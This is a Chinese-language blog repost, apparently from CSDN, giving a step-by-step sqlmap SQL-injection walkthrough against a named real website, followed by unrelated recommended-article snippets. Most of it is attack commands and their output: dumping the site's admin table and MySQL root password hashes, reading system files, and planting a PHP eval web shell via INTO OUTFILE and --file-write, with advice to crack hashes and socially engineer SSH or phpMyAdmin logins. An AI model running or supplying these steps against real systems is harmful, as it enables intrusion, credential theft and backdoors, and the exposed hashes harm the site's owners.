sqlmap mysql root_实例sqlmap进行mysql注入root权限读写文件-程序员宅基地

技术标签: sqlmap mysql root  

实例sqlmap进行mysql注入root权限读写文件

(2012-08-02 16:01:33)

注解: 1.在BT5 R2下 sqlmap安装路径为root@bt:/pentest/database/sqlmap# 也可以通过启动快捷方式启动sqlmap root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 -f -b --current-user --current-db -v 1 /*获取当前用户和当前数据库 返回结果 : [02:42:20] [INFO] fetching current user current user: 'root@localhost' [02:42:21] [INFO] fetching current database current database: 'wepost' 这一句话命令代表的意思是:python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 -f -b --current-user --current-db -v 1 看结果可以也可以知道 当前用户为 root 当前数据库为 wepost ------------------------ 2.root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbs -v 2 /*获取所有数据库 返回结果 : available databases [8]: [*] bb [*] cart [*] information_schema [*] mysql [*] taipotour [*] test [*] wepost [*] wepost2 看结果可以也可以知道 当前存在8个数据库 -------------------------- 3.root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --tables -D wepost -v 2 /*获取wepost数据库(也就是当前数据库)的所有表名 返回结果 : Database: wepost [6 tables] +-------------+ | admin | | article | | contributor | | idea | | image | | issue | +-------------+ 看结果可以也可以知道 存在6个表 -------------------- 4.root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --columns -D wepost -T admin -v 2 /*获取wepost数据库里admin表的字段 返回结果 : Database: wepost Table: admin [4 columns] +----------+-------------+ | Column | Type | +----------+-------------+ | id | int(11) | | password | varchar(32) | | type | varchar(10) | | userid | varchar(20) | +----------+-------------+ 看结果可以也可以知道 存在4个字段 ---------------------------- 5.root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dump -D "wepost" -T "admin" -C "userid,password" -s "sqlnmapdb.log" -v -v 2 /*获取wepost数据库里 admin表里 userid和password字段里面的内容 并将数据保存下来 /pentest/database/sqlmap/output/www.wepost.com.hk 返回结果 : Database: wepost Table: admin [1 entry] +----------------------------------+------------+ | password | userid | +----------------------------------+------------+ | 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 | +----------------------------------+------------+ [03:08:51] [INFO] Table 'wepost.admin' dumped to CSV file '/pentest/database/sqlmap/output/www.wepost.com.hk/dump/wepost/admin.csv' [03:08:51] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.wepost.com.hk' 得到帐号密码| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 | 破MD5找后台去把 mysql既然是root权限 当然可以试着写shell或者读文件 (一般读都是读apache配置文件找网站路径 网站配置文件获取root密码尝试社工直接登录linux的ssh或者登录phpmyadmin登录执行sql语句写shell 或者读其他铭感信息) root权限写shell的3个条件: 1、知道站点物理路径 2、有足够大的权限(可以用select …. from mysql.user测试) 3、magic_quotes_gpc()=OFF 新版本的 php 已经将默认的值改为了 On 开启时 当magic_quotes_gpc = On 时,它会将提交的变量中所有的 '(单引号)、"(双号号)、\(反斜线)、空白字符,都为在前面自动加上 \ 进行转义 如何判断 : 1.工具穿山甲 2.and '1'='1' 正常返回就是off,出错就是on 条件达到之后 直接注入点后 方法1: http://www.wepost.com.hk/article.php?id=276 select ‘<?php eval_r($_POST[cmd])?>’ into outfile ‘物理路径’ 方法2: http://www.wepost.com.hk/article.php?id=276 and 1=2 union all select 一句话HEX值 into outfile '物理路径' 当magic_quotes_gpc = On 时 尝试读文件 读到root密码之后找phpmyadmin写shell 读linux用户 目标系统为2003的 http://www.wepost.com.hk/article.php?id=276 and 1=2 union select 1,2,3,4,5,@@datadir,7,8,9-- 返回mysql路径 c:\wamp\bin\mysql\mysql5.1.36\data\mysql\user.MYD 补充完整的路径读取root密码 6.root权限读文件 root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --file-read "c:\wamp\bin\mysql\mysql5.1.36\data\mysql\user.MYD" -v 2 返回结果: c:/wamp/bin/mysql/mysql5.1.36/data/mysql/user.MYD file saved to: '/pentest/database/sqlmap/output/www.wepost.com.hk/files/c__wamp_bin_mysql_mysql5.1.36_data_mysql_user.MYD' [03:38:55] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.wepost.com.hk' 保存到了/pentest/database/sqlmap/output/www.wepost.com.hk/files/c__wamp_bin_mysql_mysql5.1.36_data_mysql_user.MYD 这里了 root@bt:~# cd /pentest/database/sqlmap/output/www.wepost.com.hk/files/ root@bt:/pentest/database/sqlmap/output/www.wepost.com.hk/files# cat c__wamp_bin_mysql_mysql5.1.36_data_mysql_user.MYD 用cat查看得到的内容: --------------------------------------------------------------------------------------- / localhostroot/ 127.0.0.1root �DA7DC67ED2CA2AD9V'h% worldgazers*6BB4837EB74329105EE456 X localhosthonoh*CFD1B60A4C68631E4EA4B2ABA1CBD17E301B0454root@bt:/ --------------------------------------------------------------------------------------- 用head查看到的内容: root@bt:/pentest/database/sqlmap/output/www.wepost.com.hk/files# head c__wamp_bin_mysql_mysql5.1.36_data_mysql_user.MYD / localhostroot/ 127.0.0.1root �DA7DC67ED2CA2AD9V'h% worldgazers*6BB4837EB74329105EE456 X localhosthonoh*CFD1B60A4C68631E4EA4B2ABA1CBD17E301B0454root@bt:/pentest/database/sqlmap/output/www.wepost.com.hk/files# 得到40位root密码 CFD1B60A4C68631E4EA4B2ABA1CBD17E301B0454 拿去解密 之后尝试社工 或者找phpmyadmin写shell --------------------------------------------------------------------------------- 6.file-write写入文件到web sqlmap -u http://www.123.com/test.php?cid=2 --file-write /localhost/mm.php --file-dest /var/www/html/xx.php -v 2 ?

分享:

a4c26d1e5885305701be709a3d33442f.png喜欢

0

a4c26d1e5885305701be709a3d33442f.png赠金笔

加载中,请稍候......

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_29058331/article/details/113216543

智能推荐

Ubuntu18.04使用make编译安装LLVM10_ubuntu 安装llvm 10-程序员宅基地

文章浏览阅读113次。时,安装到97%报各种bug(collect2: error: ld returned 2 exit status tools/lli/CMakeFiles/lli.dir/build.make:154: recipe for target ‘bin/lli’ failed make[2]: *** [bin/lli] Error 1)环境:WSL2 Ubuntu18 gcc7.5。,把ninja换成make。bug 2:swap空间不够。可能遇见的bug和应对措施。安装:LLVM 10。_ubuntu 安装llvm 10

Linux常用命令:系统操作命令-程序员宅基地

文章浏览阅读807次,点赞19次,收藏16次。Linux系统提供了丰富的命令行工具,用于管理系统和文件。linux的系统操作,掌握这些命令,会更方便实现Linux的应用操作。

2020-7-8 线程池中execute()⽅法和submit()⽅法的区别?_execute0方法只能执行runnable类型的任务,submit0方法可以执行runnable和-程序员宅基地

文章浏览阅读393次。文章目录线程池中execute()⽅法和submit()⽅法的区别?最简单的回答原理看波继承关系submit()源码如何封装成FutureTask对象execute()源码为什么submit()方法可以有返回结果,就是因为FutureTaskset(result)小结线程池中execute()⽅法和submit()⽅法的区别?最简单的回答 1、execute()只能执行Runnable任务,submit()能执行Callable和Runnable任务; 2、submit()可获取任务执行结果,exe_execute0方法只能执行runnable类型的任务,submit0方法可以执行runnable和callable

a15和a16芯片哪个好 a15和a16性能差距有多少_a15和a16芯片差别大吗-程序员宅基地

文章浏览阅读1.2k次。对于处理器芯片,CPU 能力是人们首先关心的事情,这也是比较A16和A15的前提。与上一代相比,这有助于芯片的性能提升40%。以搭载A16的iPhone14Pro为例,在CPU测试中,得分为246572分,而在GPU基准测试方面,得分则是408723分。但与A15芯片相比,A16芯片的GPU性能提升了28%,同时显存带宽也增加了50%,让图形处理更加流畅。必须提到一些突出的功能,例如在视频录制过程中自动对焦的能力,还有主题和电影模式之间的自动切换等,这些都是将AI技术与最新的A16芯片相结合的完美例子。_a15和a16芯片差别大吗

2023年12.12更新:最新使用cookie自动登录京东并爬取京东网址图书信息python源码!_京东cookie自动登录-程序员宅基地

文章浏览阅读2k次,点赞21次,收藏21次。感谢朋友们阅读,下期再见!!!_京东cookie自动登录

qsub作业一直在排队状态_一些“基本”作业仍在排队中以实现自动化-程序员宅基地

文章浏览阅读1.1k次。qsub作业一直在排队状态The pandemic may speed up job replacement. 大流行可能会加快工作更换速度。 Before Covid-19 swept through America, low-wage workers and activists were battling in the states to raise the minimum wage, of..._qq作业上传视频总在排队中

随便推点

启动项目报错 Failed to bind properties under_failed to bind properties under 'spring.cloud.naco-程序员宅基地

文章浏览阅读5.4w次。报错信息:Description:Failed to bind properties under 'mapper.mappers' to java.util.List<java.lang.Class<?>>: Reason: No converter found capable of converting from type [java.lang.Stri..._failed to bind properties under 'spring.cloud.nacos.config.namespace' to jav

解决百度网盘(百度云)分享链接不存在失效、分享的文件已经被取消的问题_百度网盘链接不存在解决方法-程序员宅基地

文章浏览阅读2.2w次,点赞2次,收藏6次。解决百度网盘(百度云)分享链接不存在失效、分享的文件已经被取消的问题_百度网盘链接不存在解决方法

永不磨灭的设计模式(有这一篇真够了,拒绝标题党)-程序员宅基地

文章浏览阅读2.3w次,点赞141次,收藏912次。在IT这个行业,技术日新月异。有可能你今年刚弄懂一个编程框架,明年它就不流行了,无怪乎有些无节操的IT从业人员去GitBub上用汉语提Issue:“求你别更新了,实在学不动了”。对于这种行为我只能说,太jb不要脸了…然而即使在易变的IT世界也有很多几乎不变的知识,他们晦涩而重要,默默的将程序员划分...._永不磨灭的设计模式

栈与C++中的std::stack详解(多图超详细)_stack出栈-程序员宅基地

文章浏览阅读874次。栈(stack)什么是栈?栈的基本操作和应用入栈(push)出栈(pop)入栈和出栈的复杂度和应用场景类模板std::satck形参T和Container成员函数元素访问栈的容量栈的修改用法示例_stack出栈

R ggplot2 图例-改图例背景颜色、大小_ggplot改变图例形状大小-程序员宅基地

文章浏览阅读4.4w次,点赞31次,收藏132次。改 图例背景颜色改 图例大小改 图例符号颜色第一部分1.1 图例背景颜色1.2 代码和语法base + theme( legend.background = element_rect( fill = "lightblue", #填充色 colour = "black", #框线色 size = 1.5 ) ) #线条宽度语法在theme主题系统..._ggplot改变图例形状大小

python读取文件夹内容(os.listdir()方法)_files = os.listdir-程序员宅基地

文章浏览阅读1.1w次,点赞7次,收藏19次。python os.listdir() 方法一般用于导出指定路径下的文件或文件夹目录。当输入的“要打开”的是文件夹(直接是文件夹的名字,没有后缀),获得的是文件夹中的文件名称列表(按字母表顺序排序)代码:import os path = 'C:\\Users\\DELL\\Desktop\\hello' #打开桌面位置处的文件夹hello,注意格式\\result=os.listdi..._files = os.listdir

推荐文章

热门文章

相关标签